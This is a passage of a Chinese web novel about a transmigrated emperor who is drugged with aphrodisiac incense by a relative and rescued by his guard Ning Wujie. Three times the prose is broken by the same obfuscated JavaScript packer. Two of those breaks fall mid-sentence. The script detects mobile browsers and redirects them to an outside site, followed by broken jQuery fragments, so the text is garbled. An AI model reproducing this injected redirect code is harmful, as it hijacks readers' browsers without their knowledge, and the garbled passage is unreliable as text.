马匹一波接一波,称赞声不绝于耳。 王绛面色一沉。 怎么办?这么难的题陛下连想都不想。 他有点没信心了,但看闻幸略有些无聊的表情,他还是压着性子,吸了一口气,终于拿出压箱底的题:“哑子荷囊入市行,鹿值豚价三倍清,八斤豚肉四斤鹿,余钱八十袋犹轻,四斤豚肉八斤鹿,反欠三十二文银,试问豚鹿价几何,市曹解惑算分明。” 星河:...... 天书! 每个字他都能听懂,凑一块他就听不懂了! 星河丧丧地往后一靠,瘫坐在连廊的美人靠上,有气无力:“主子,星河想回家。” 他觉得自己好笨,不配跟主子这种人待一起,他好怕自己的笨蛋会传染给主子。 晋子瑜:...... 晋子瑜已经放弃听题了。 不听不听,王八念经! 见这一次皇帝做思索状,王绛暗暗松了口气,还好还好。 终于难倒陛下了,这回他一定要抓住机会...... 便听闻幸淡淡道:“豚十四文,鹿四十二文。” 水榭屋顶之上,听了个全程的宁无劫瞳孔一缩。 这么快? 这昏君......有这样的脑力,为什么不能好好用在政事上? 若这昏君能把玩游戏一半的心思分给朝政,只怕根本不需要他了。 王绛:?! 空口算吗?草稿都不用打的吗? 这合理吗?! 他长这么大还从未见过解这种题,连纸笔都不用,全靠心算的! 他愣怔原地,尚未反应,便听闻幸问道:“还有吗?” 王绛一怔,缓缓摇头,“没......没了。” 闻幸悻悻哦了一声,还以为终于上升到二元方程的难度,他刚刚热了身,结果就结束了。 真不明白这些人吸引他的手段为什么是数学,正常不应该是吟诗作对吗? 如果是那样的话,他反而会被难倒。 在这个朝代,算科不是主流,文人仕宦之途以策论为尊,要扬名立万也得靠诗赋文章背书。 为什么他们会以为自己喜欢听数学题? 闻幸的脑子里转了好几个弯,终于想通一点点关窍。 难不成,这些蠢货以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098079|178560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他把六部九库的账目交给宁无劫,是因为欣赏那小子算科好? 好......离谱! 又莫名地合理。 倒也不能全怪他们,谁能想到一国之君竟然喜欢研究这种奇技淫巧。 他很无奈,冲星河招招手道:“走吧。” 知道太后的心思后,他就想走了。 星河蹭地一下跳起来,终于可以走了!他快无聊死了! 远远看着这一切的太后蹙紧了眉,“没用的东西!” 知道皇帝眼光高,她已经着意挑了些好的了,毕竟外貌上肯定比不过那个姓宁的,可智计上一定不能落下乘。 怎么一个两个的都留不住陛下?真是没用! 仰面躺在水榭屋顶上的宁无劫,伸出一只胳膊枕在颈后,望着深秋湛蓝如洗的天空,深潭般的眼底掩着一抹微不可查的笑意。 众亲贵们已经无声了,怎么办?这样都留不住陛下,他们还有戏吗? 正当所有人抓耳挠腮搜肠刮肚地试图留住陛下时,前方连廊的一扇大门忽然被“砰”地一声推开。 闻幸脚步一滞,被从门中走出的一人拦住了去路。 “陛下!” 来人一身武将服制,提了把长剑立在跟前,见了皇帝哐当下跪,行了个武将之礼。 “臣玄机营参将闵松,参见陛下!” 看着面前身高八尺,孔武有力的武将,闻幸额角抽跳。 他不由自主后退半步,警惕道:“你要做什么?” 来人声如洪钟:“臣与他们不同,并不想为难陛下,只是有飞鸿踏雪剑四十八式,想献予陛下。” 体型五大三粗的,剑招名字还怪文气。 还没等闻幸反应,那武将便自顾开始舞剑了。 闻幸:...... 他揉了揉抽跳的眉心。 这些蠢货到底想干嘛?! 以为他喜欢武将是吧? 那能不能给我照着宁无劫选啊?! 同样是武将,宁无劫往那一站就是清隽出尘,一举一动都是鹤舞松姿。 这人...... 闻幸扭头就走。 “陛下!” 武将见他要走,提步就要追上来。 闻幸头也不回,木着脸挥手,“星河,拦住。” 星河兴奋地一个飞身上前,“有架打诶!” 话落,便是一记掌风袭去。 两个人影瞬间在回廊缠斗起来。 那武将还在不停高喊:“谢陛下赐臣对手,一人舞剑确实不如打起来好看!陛下圣明!诶,陛下您别走呀!” 闻幸只想塞住耳朵,疾步如风。 于是在众目睽睽下,在各种试图挽回他的呼唤声中,闻幸飞快地掉头往水榭另一头走去,并下令道:“谁也不准跟来!” 众亲贵们的脚步一顿,无奈地面面相觑。 这是,全都失败了吧。 陛下果然眼光高啊。 屋檐上的宁无劫倏然翻身而起,足尖无声地轻点瓦片,步履轻盈地跟了上去。 闻幸穿过重重连廊,虽然不知道脚下的路通向哪里,但通过方才他在席间远远扫过的地形来看,连廊是个半回字,围着湖泊而建,另一头应该能通到湖对岸。 他刚刚远离人群,周遭便忽然安静下来,廊侧竹影轻轻摇晃,发出轻微的沙沙声。 闻信行至一扇雕花门前,窗外湖水粼粼,将婆娑竹影拓印在窗纸之上。忽而听见从里头传来一个清越中带着磁性的嗓音:“陛下留步。” 闻幸微微皱眉,他很想走,但是又觉得这个声音很熟悉。 很像他常听见的那个高冷男神音。 没错,宁无劫的声音便是这样,沉凝似寒泉,带着能穿透鼓膜的磁性,直击人的理智。 他心说这些蠢货终于模仿对一次。 他停下脚步,“你是何人?为何不敢露面?” 怕不如宁无劫长得好看,只敢发声吗? 那人隔着窗子,不答反问道:“臣有一道棋局,一人无法完成,不知可否有幸与陛下手谈呢?” 闻幸:“朕不会下棋。” 那人轻笑了一下,慢条斯理道:“这是臣自创的玩法,规则至简,不似围棋那般繁冗艰深,却有趣得很,陛下可愿赏光一试?” 闻幸犹豫了一下。 也不知是不是因为那道声音的加持,闻幸忽然又觉得见识一下新玩法似乎也不错。 特别是被前头那个武将恶心到,他急需洗洗眼睛。 于是他淡淡道:“开门吧。” 雕花门扇吱呀一声打开,闻幸抬脚迈入门中。 此时一道黑影悄然落在了窗外,宁无劫侧过脸,目光扫过再次关上的房门,缓缓蹙紧了眉。 16.第 16 章 门内是一名穿着茶白色长袍的少年。 少年唇红齿白,眉目舒朗,一双桃花眼颇有风姿。 他见了闻幸,彬彬有礼地躬身行礼,表情似有些羞赧:“臣王氏宜安。” 他说时抬眼去看,见闻幸一副看陌生人的表情,不由心头一刺,却还是维持言笑晏晏,“臣祖父平阳郡王,与陛下未出五服,臣该唤陛下一声表舅才是,不知臣可否这样唤您?” 这一表三千里的亲戚闻幸没兴趣深究,他只施施然步入房中,垂眼扫过摆放案上的黑白棋子,便提了衣摆坐下,单刀直入:“随便你,开始吧。” 王宜安的脸上掠过一抹失望,但很快被他掩饰了。 他在闻幸对手坐下,讲解道:“规则很简单,双方各自持子抢占星位,棋盘中九个星位各计算一点,若任意四角星位或天元星可与相邻星位相连成三角,则翻倍计算,即三点计算为六点。待星位全部占满,计点多者胜。” 王宜安说时捏着棋子放在棋盘中摆出一个三角形做示意。 “此规则中,天元位至关重要,故而该位为共享位,即若黑子占天元,而白子与其相连时仍计分翻倍,黑子仍占一点。” 闻幸扬眉。 这玩法从来没听过,挺新鲜的。 不过他很快便抓住了这游戏的关窍,重点并非是要抢占星位,而是要阻止对方的星位连成三角。策略似乎跟五子棋很像。 闻幸指尖在棋盒内拨弄,发出哗啦啦的声音,“请吧。” 静谧的室内,不断有棋子落盘的清脆声音传来。 案几旁的香炉青烟袅袅升腾,幽香弥漫,将这方寸之间染上了一抹若有似无的冷香。 或许是室内过于安静,王宜安一面落子一面挑起话头:“陛下或许不记得臣了。” “但三年前臣随祖父入宫赴太后娘娘办的中秋家宴,在永寿宫见过陛下。” “陛下龙章凤姿,叫人一见难忘。” 他说时,抬眼仔细观察着闻幸的表情,眼底一抹情愫一闪即逝。 闻幸专心看着棋盘,随意地“哦”了一声。 他当然不记得,见此人的是原主又不是他。 王宜安对他的冷淡有些挫败,但还是强打精神道:“当时臣才十五岁,陛下夸臣敏而好学,将来可以进翰林院。” 仿佛是陷入了某种回忆里,他不等闻幸回应,自顾道:“可是臣不想进翰林院,臣想......” 闻幸不想跟人叙旧,于是截口道:“你专心点,朕要赢了。” 王宜安沉默了一瞬,垂眼去看棋盘时,却精神一振,由衷赞道:“陛下学得真快,才试过一局而已,就已经抓住关窍,打得臣快要招架不住了。” 他的唇角洋溢着笑,目光紧紧地落在闻幸的脸上,未久,试探性地提起一子,置于最远处,堪堪落在闻幸的眼皮底下。 收手时,手背轻轻向旁侧一挥,仿若无意地扫过闻幸捏着棋子的手。 闻幸:...... 闻幸纤长的眼睑倏然抬起,眼底闪过一抹嫌恶。 那目光带着寒意,看得王宜安心头一紧。 闻幸用目光将人锁定,带着上位者的审视与压迫感,同时修长的二指捏着棋子落下,发出清脆的叩击声。 “朕赢了。” 话落他便迫不及待地起身离开。 见他就要走,王宜安面色一沉,豁然起身,追上前去拦住了闻幸的去路,急急道:“陛下!” “可否容臣说几句!” 仿佛是怕闻幸不给机会,王宜安连声:“臣没有多余的心思,更没想过取代宁大人在陛下心中的位置......” 宁大人本人正站在窗外廊下,听见这句,握着刀鞘的指节寸寸收紧。 “臣只想长侍陛下身侧,纵使牵马坠蹬,侍膳奉药,添香研墨,臣也心满意足了。” “惟愿陛下垂怜。” 王宜安说时,就试图扑向闻幸。 闻幸眼疾脚快,后退两步躲避此人的投怀送抱,眼底的嫌恶更甚了,并一刻不停地绕过对方撤远了些。 门外宁无劫握紧的拳头骨节嶙峋,冰冷刀锋不知不觉间已经出鞘一寸。 王宜安扑了个空,踉跄地停住脚步,彻底被闻幸的目光刺伤。他愤怒与失望交加,指尖都将袍袖攥皱了,目光死死盯着闻幸。 却见帝王面无表情地冷道:“在朕身边做这些的,可只有太监。” 王宜安:......? 宁无劫:...... 见王宜安愣怔,闻幸挑眉,“怎么?你想净身入宫?” 宁无劫攥紧刀鞘的指节倏然松开,眼里的锐意锋芒霎时消散,纤薄的唇线都微微扬起。 做这些的都是太监? 成日让他学侍君之道的是谁啊? 王宜安皙白的面容一下子变得惨白,连带那双嫣红的唇都漫上了一层霜色,“陛下......” 一双桃花眼噙了层水雾,几乎立刻就要溢出眼眶。 见王宜安两行泪已经滚落下来,闻幸拧起眉。 哭得好难看。 说好的男儿有泪不轻弹呢? 他没有半分哄人的耐心,只想快点离开这里。可刚行至门边时,他却忽觉一阵眩晕,脚下都软了一瞬,他急急抓住门框稳住身体。 指尖紧扣,甚至用力到发白,他才堪堪没让自己倒下去。 什么情况? 眩晕感越来越强烈,他听见身后那个声音忽然变得尖锐又阴森,与之前他在门外听到的那副男神音有天壤之别:“春宵一刻值千金,陛下既然都来了,就别走了。” 闻幸瞳仁剧颤,拼尽全力挣扎,却徒然脱力,身体里的力气仿佛全部被抽干,一点点地瘫软下去。 他这是,中毒了? 怎么中的? 他进来后没有用过入口的东西。 难道是...... 他微微侧目,瞥见尤散着青烟的香炉,不由深深闭眼。 “中了臣的醉骨绡,您今晚只能与臣同床共枕了......” 闻幸如坠冰窖,强聚起一丝清明,正欲咬破舌尖抵抗这排山倒海般的眩晕。 却在此时,一道裹挟着秋寒的劲风猛地撞开房门。 闻幸此时神智昏昧,视线已经很模糊,看不清来人,只依稀见得一道渊渟岳峙般的逆光身影,带着凛冽气势,迎面将他扣入怀中。 那熟悉的松林雪岭般的气息兜头罩下,令他紧张的内心倏然平复,绷紧的神经一松,他整个人便软倒在对方肩头。 意识沉沦前的最后一瞬,他攥紧了对方的衣襟,齿缝间崩出三个字:“砍了他。” 话落,他便彻底被无边黑暗吞没。 王宜安惊恐地看见一道杀神般的人影忽地闯了进来,他尚未来得及发出一声惊呼,刀锋已经近在眼前。 逆光中,那人面沉如水,眸光锐利宛若片片寒芒,沉着声音一字一顿道:“什么毒?解药。” 那声音,便是他四处托人打听,百般揣摩,才勉强仿得几分形似的,陛下最喜欢的声音。 他看着宁无劫的目光怨毒到了极点,然而片刻后又忽地冷静下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105182|178560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,惨然发出一声冷笑,笑得诡异又阴森,“解药?” “解药就是我啊。” 说到这里,他忽然目露寒光,“既然生不能在一起,那便一起死吧!” 话音未落,便扯下发簪便冲宁无劫搂着的怀中人直刺而去! 然而倏忽之间,眼前惊现一道寒芒,他只觉脖颈一凉,如被凌冽秋风扫过。 旋即,在他惊骇的目光中,猩红血液喷薄而出,霎时浸染满室珠链。 染血白衣颓然倒地,一双暴睁的双眼只余空洞。 宁无劫将人横抱而起,飞快地施展轻功,掠过重重水榭回廊,往宫门赶去。 由于搂着人,又为抄近路疾驰宫门,他不再遮掩踪迹,于是便暴露在巡守侍卫的视野中。 寒刃出鞘声响起,一众侍卫如临大敌:“谁在那!” 宁无劫骤然停下脚步,垂眼去看,见怀中人紧闭的眼睫与紧蹙的眉峰,似是陷入了某种梦魇。 他收紧臂弯,高声喝道:“陛下遇刺。速传太医!” “遇刺”二字如一声惊雷,震得众侍卫面色剧变,再一看宁无劫怀中人却是陛下无疑,又不明就里,不由纷纷惊疑不前。 刚刚还在四处寻找闻幸的星河,听见这边动静飞速赶来,见了昏迷中的闻幸,不由面露惊恐:“主子......他怎么了?” “让开!”宁无劫对迟疑不定的侍卫怒声:“延误圣驾诊治者,诛九族。” 侍卫们闻言不敢再拦,如潮水般退去,让出一条通道。 然而就在宁无劫欲迈出宫门时,却听见身后传来太后急急赶来的声音:“宁无劫,你敢挟持陛下?你给哀家站住!拦住他!” 侍卫们得了令,你看看我,我看看你,又不敢放人了。 再次被拦住的宁无劫顿住脚步,转身看向王弗唯。 一双寒芒就这么毫不避讳地扫了过来,王弗唯竟被那眼中杀意冻得浑身一滞。 “太后娘娘挑的人,竟敢弑君。臣倒要问问太后娘娘意欲何为?” 王弗唯瞳孔剧缩,不可置信,“你说什么?” 她这时才发现,闻幸竟然毫无知觉地躺在宁无劫怀里,似是昏过去了。 她震惊不已,厉声道:“你说清楚,谁弑君?!” “王宜安弑君未遂已经伏诛。”宁无劫指节扣紧刀镡,刃锋出鞘三寸:“待陛下醒来,自会请娘娘分辩。” “你把陛下放下!来人!传太医!”王弗唯怒声道。 宁无劫却纹丝不动,“留在太后娘娘这里,难保没有第二个王宜安,臣要带陛下回宫。” 王弗唯震怒:“放肆!哀家岂容你质疑?来啊,将此人拿下!” 侍卫应声上前阻拦。 宁无劫单臂搂着人拔刀横挥一斩,同时脚尖点地后撤,掠起一阵烟尘。 刀锋裹挟着气劲,如墨龙翻卷,竟一刃将数名侍卫掀翻在地。 星河趁势提剑入场,眨眼的功夫接连击退数人,二人背对着背,形成几无死角的防御。 众侍卫心知不是这二人对手,持刃逡巡着不敢上前。 宁无劫对王弗唯厉声道:“倘若延误陛下治疗,伤了龙体,您纵为太后,只怕也担待不起!” 王弗唯凤目圆睁,“你!” 眼见一众侍卫竟不是二人对手,她定了定神,思忖片刻后按耐下性子冷道:“此事本宫自会调查清楚,宁无劫,若陛下有半分闪失,哀家定活剐了你!” 话落,她尖锐的护甲凌空一划,侍卫潮水般退散。 宁无劫旋即揽着人疾掠宫墙而去。 17.第 17 章 福宁殿内。 闻幸体内总有团邪火在四处乱窜,烧得他浑身无力,他头疼欲裂地睁眼,视线还是很模糊,只能看见一个黑色的人影,但闻见那熟悉的雪岭气息时,他紧蹙的眉心倏然松开。 “宁无劫,朕在哪?” 对方轻声:“回宫了,陛下,您安全了。” “那个王宜安......” “臣杀了。” 闻幸紧绷的心弦彻底放松下来。 “朕中的什么毒?翟元青呢?” 宁无劫顿了顿,避重就轻道:“翟太医来过了,给您施了针,留了药方便走了。陛下,喝药吧。” 药碗递了过来。 闻幸浑身绵软,有气无力地命令:“你喂朕。” 宁无劫迟疑了一下。 闻幸撩起眼皮看他,“怎么?不愿意?” “可是朕一点力气也没有,必须要有人伺候。” 宁无劫垂眼似是在权衡什么,片刻后似乎是下定了某种决心似地,终于在闻幸身侧坐下,将绵软的人搀扶起来。 闻幸向后一仰,靠在对方肩头。 那肩好似有一瞬间的僵滞。 药碗递到唇边,闻幸深吸口气,将药一饮而尽。 “......苦。”他皱紧眉。 一颗蜜饯非常自觉地递到了唇边。 蜜饯入口,丝丝甜意在口腔蔓延开来,将苦味压下。 闻幸的意识在此刻终于彻底回笼,才察觉似乎有哪里不对。 这犟种今日似乎格外听话。 他四处张望,见内殿除了宁无劫空无一人。 “其他人呢?” 宁无劫道:“臣支出去了。”他说时顿了顿,“您中的是......情毒。” 闻幸反应过来。 宁无劫是怕他药性发作在旁人面前失态,所以把人都赶走了。 难怪连伺候他也肯了。 毕竟这屋里就这小子一个,也不能指望侍从了。 “知道这事的只有臣与翟太医,还有李公公。” 可能是药效起了作用,方才在闻幸体内四处乱窜的那团邪火被压了下去,燎原之火变成了一团小火苗,停留在他的小腹打转。 力气也恢复了许多,他可以靠自己坐起来了。 宁无劫见他起身,找了几个软枕垫在他后腰,让他靠躺着,“陛下,好点了吗?” 闻幸察觉着体内的那团火苗,他皱着眉不满道:“翟元青的医术到底行不行?” 虽然比起刚中毒那会确实是好太多了,但就是有股子不上不下的劲,吊得他难受。 他说不上来是什么感觉。 转移注意力的话确实可以强行忽略,但无视不了多久就又要蹿出来膈应他一下。 宁无劫解释:“翟太医说了,这毒虽不难解,但余毒消得慢。” “陛下忍一忍,过两日就好了。” 闻幸震惊了,忍一忍? 他是和尚吗?为什么要忍? 他的这具原身都二十三岁了,上辈子满打满算也活了二十八年了,就算单身狗一条那也不是什么都不懂的小毛孩吧! 他穿来这个世界,学会的第一件事就是绝不为难自己。 闻幸想到这里,忽然好奇地打量一眼跟前的少年。 “所以你也都是这么忍的?” 能说出“忍一忍”这三个字,闻幸高度怀疑这小子到底有没有接受过正确的性知识启蒙。 宁无劫愣了愣。 闻幸手肘支着身体向后一靠,饶有趣味地看着宁无劫。 “说啊。” 似乎是终于反应过来,闻幸看见宁无劫的耳尖由白变红,最后染成暖玉上坠着的一点鸽子血。 宁无劫眉心蹙得死紧。 这昏君,又来了! 见他并不答话,闻幸扬了扬眉。 再逗下去会不会又跑了? 他还没玩够呢。 于是他大发慈悲地道:“那朕换个问题。” “你父母都是怎么教你的?” 宁无劫眉心微舒,暗暗为昏君终于换了话题而松下口气,正色道:“家父从小教臣不过三件事,一曰以德立身,二曰以文立言,三曰以武立命。” 闻幸:...... 这一身的伟光正是怎么回事?他都快被闪瞎了好吗? 这么根正苗红的一孩子将来是怎么成了造反头子的? 怎么成为历史上那个冷面暴君的? 科学吗?! 不过他总算知道这小子为什么脸皮会这么薄了。 其实很早前他就听说过宁老侯爷家风严谨。 只是这也太严谨了! 闻幸揉了揉抽跳的眉心,耐着信子继续道:“就没教点别的什么吗?” 宁无劫不解:“别的?” “比如......”闻幸说时,靠近了些,仰头看着跟前的人。 “比如你遇到朕今日的情况,会怎么做?” 话音刚落,他便隐隐察觉到本就站的笔挺的宁无劫,此时更是绷成了根弦。 那点鸽子血开始向下蔓延,一路红进了白色的里衣衣襟里。 哇偶,效果这么好吗? 却见宁无劫闭了闭眼,声音依旧冷然:“臣自然是找太医。” 可坚定的表情,锐利的目光,与那通红的耳根完全不是一回事。 闻幸被这人身上的反差感震惊到了。 为什么有人可以做到一面脸红一面一本正经的。 他微微勾唇,又道:“朕有别的法子,教你啊。” 宁无劫瞳孔收缩了一下,随后咬了咬牙道:“臣不想学。” 无耻昏君! 三句话就没个正形。 仿佛是怕昏君又要说出什么恼人的话来,宁无劫不给机会,冷道:“既然陛下无恙,臣还有案子要办,先行告退。” 话落,便转身几步退出门去。 身后传来昏君懒洋洋的一句:“跟李德全说一声,谁都不准进来。” 宁无劫脚步微顿,旋即反身关上寝卧门。 然而他刚刚走到外间,尚未推门而出,却又停住了脚步。 怎么办?方才翟太医叮嘱过他,陛下刚刚施过针,身边不能没人照看。 可那昏君又不让人进房门。 他思索了一会,终于闭上眼,压着性子在外间的圈椅上板正地坐下。 算了,再等一会吧。 满室寂静。 宁无劫本是正襟危坐闭目养神,不知过了多久,忽闻里间传出一声极其暧昧的轻喘。 这声音极轻,若非因为他耳力好,室内又安静,寻常人隔着一间屋子断然听不见。 似乎意识到那昏君在做什么,宁无劫面色一滞。 他没有察觉自己耳根刚刚才消下去的红又卷土重来,甚至开始发烫。 喘声间断响起。 越是想要忽略,那声音就越是清晰。 宁无劫坐不住了,噌地站起身来,从头到脚红成了烙铁。 他的心脏抑制不住地狂跳,几乎就要从嗓子眼里蹦出来。 一双拳头都捏得死紧,露出森白的骨节。 这昏君......在...... 他羞愤欲死,脑海里天人交战。 良久,忽闻一声好听的变调,声音戛然而止。 宁无劫瞳孔剧缩,终于如离弦之箭般夺门而出。 门外,星河见他出现,连忙上前道:“主子怎么样了?我可以进去了吗?” 李德全也忙凑过来,“陛下如何?” 宁无劫嗫嚅了一下唇角,丢下一句:“陛下说了谁都不准进。” 随后人影便消失了。 星河失望地“啊”了一声,“还不能进去吗?” “主子~~” * 监察司衙署。 宁无劫突如其来地出现,一路疾风般地穿过躬身对他行礼的监察使们,径直进了指挥使官邸。 刚进房内,他一眼看见案几上的凉茶壶,便一把提起猛灌。 凉水下肚,却依然压不下他体内从方才起便四处乱蹿的邪火。 那股火燎原一般,眨眼的功夫已经点燃他浑身的血液,烧得他心口也慌,嗓子也干。 察觉到自己的异样,他垂眼向下去看,不知看到了什么,忽而瞳孔一颤,整个人呆立原地,如遭雷击。 怎么回事? 他不是那种不分场合随时都能兴奋的畜生。 难道自己也中毒了吗? 冷静。宁无劫深深闭眼深吸一口气,告诫自己。 回忆一下,他之前在水榭推门而入时,应该也闻见了那醉骨绡。 虽然短暂。 但他一定也中毒了。 仿佛是找到了唯一合理的解释,他终于长出口气,压下起伏的胸膛。 他双手撑着桌沿,沉声对门外的亲卫道:“喊府医来。” 门外人应声称是。 片刻后,府医急匆匆赶来。 宁无劫坐在桌旁没有二话,将腕子递给府医,“我中毒了,帮我看看。” 府医闻言大骇,不敢怠慢,连忙放下药箱就给宁无劫搭脉,询问道:“大人可是办案时中的毒?可知是何毒?如何中的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111195|178560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见他似有迟疑,一副不大愿讲的模样,府医又道:“了解详尽,才好解毒,大人切不可讳疾忌医啊。” 宁无劫闻言,终于是破釜沉舟般地深深闭眼,无奈又羞恼地道:“情毒,是下在香料里的。” 府医恍然,心中暗道这监察司办案也着实是个高风险的活啊。 这么下三滥的手段...... ......等等。 搭着脉的府医目露疑惑,再抬眼去看宁无劫,小心翼翼地道:“大人,确定是中毒了吗?” 却见宁无劫斩钉截铁:“当然。” 府医不解,心说难道是自己学艺不精吗? 这脉像分明好得很。 不仅好,是过于好了,磅礴有力,阳气炽盛。 血气方刚的少年人啊。 好得他一个老头都羡慕。 府医放开宁无劫的腕子,摇头道:“老朽未查到大人有中毒迹象。” 宁无劫:...... 他狐疑看着府医。 “你确定?” 府医认真点头,“这世上情毒虽多种多样,但老朽也算是见多识广,大人这脉像好得很,不像中毒的样子。” 宁无劫还不死心,又道:“或许是因为我吸入的时间太短,毒性微弱,你查不出来?” 府医挑眉,心说倒是有这个可能。于是道:“香料下毒需得密闭久熏方能起效,敢问大人在那房里待了多久?是否门窗紧闭?” 宁无劫微微一怔。 他回忆了一下,才忡怔道:“只是推开门的一瞬间,前后不过数息吧。” 他只问了一句话就把人杀了。 府医笑着摇摇头,“大人多虑了,如此是万万不可能中毒的。” 他说时便提起药箱告退,“如若大人还不放心,可以进宫找御医再看看,但依在下拙见,世上万万没有如此厉害的毒,在下告退了。” 府医离去,徒留宁无劫呆坐原地。 没有中那醉骨绡,那会是什么? 难道...... 他不知是又想到了什么,忽而起身走出官邸,往衙署另一面院落走去。 行至一间屋门前,门口挂着匾额——勘验所。 里头官员鼻梁架着一幅西洋式琉璃镜,正坐在案几前,一手拿着镊子,埋头不知忙碌着什么。 宁无劫行至那人身后,那人都毫无反应。 直到宁无劫开口:“夏祁。” 官员吃了一吓,猛然回头见是宁无劫,才恍然松下口气,放下工具,半是责备地道:“大人,您吓死下官了。” 宁无劫打量这简陋的,杂乱地堆满了各种证物与勘验工具的屋子,开门见山地道:“上回让你验的香,有结果了吗?” 夏祁闻言,像是才想起来似地,连忙起身走到一幅比他人还高的多宝格前,叮呤咣啷地一通翻找。 宁无劫拧眉,等了好一会,才见夏祁捧了一个精致的小盒子走来,一面走还一面絮叨:“这香料金贵,下官也是到内务府求爷爷告奶奶地就讨了这么点,毕竟是供陛下用的,都有定数。好在咱们监察司如今管着内库,不然这点也怕是讨不到。” 他说时扶了一下就要滑下来的眼镜。 “大人,您查它做什么呀?” 宁无劫等得有点不耐烦,“直接说结果。” 夏祁“哦”了一声,茫然地道:“没问题啊。” 宁无劫:? 他忽地从夏祁手中夺过香盒,甫一打开,便闻见了那熟悉的气味。 因为是固体状态,这香气要比他从那昏君身上闻见的馥郁得多。 没有错。 是那龙涎香。 他不可置信地再次问夏祁:“你说什么?再说一遍。” 夏祁眨眨眼,“这香下官验过几次了,没有问题啊。” “也就是配料与比例都颇为讲究,但那是陛下用的嘛。”他说时还有些不解地询问:“大人是查哪件案子需要验这香料?” 然而他没有听见答案,只看见宁无劫面露怔忡,呆立原地。 夏祁疑惑不解,良久,他才听见宁无劫沉沉的声音:“没什么。” 话音刚落,人已经走出了屋子。 宁无劫走出院门,听见身后夏祁高声:“大人,那这香料......” “你留着吧。” 宁无劫迈着沉沉的步子,回到官邸时,才终于被迫接受现实一般深深闭眼,一拳砸在了门框的抱柱上。 “砰——” 抱柱裂开数道裂缝,拳骨崩开皮肉,渗出丝丝血迹。 他垂着首,狠咬牙关,从齿缝间挤出一句:“该死!”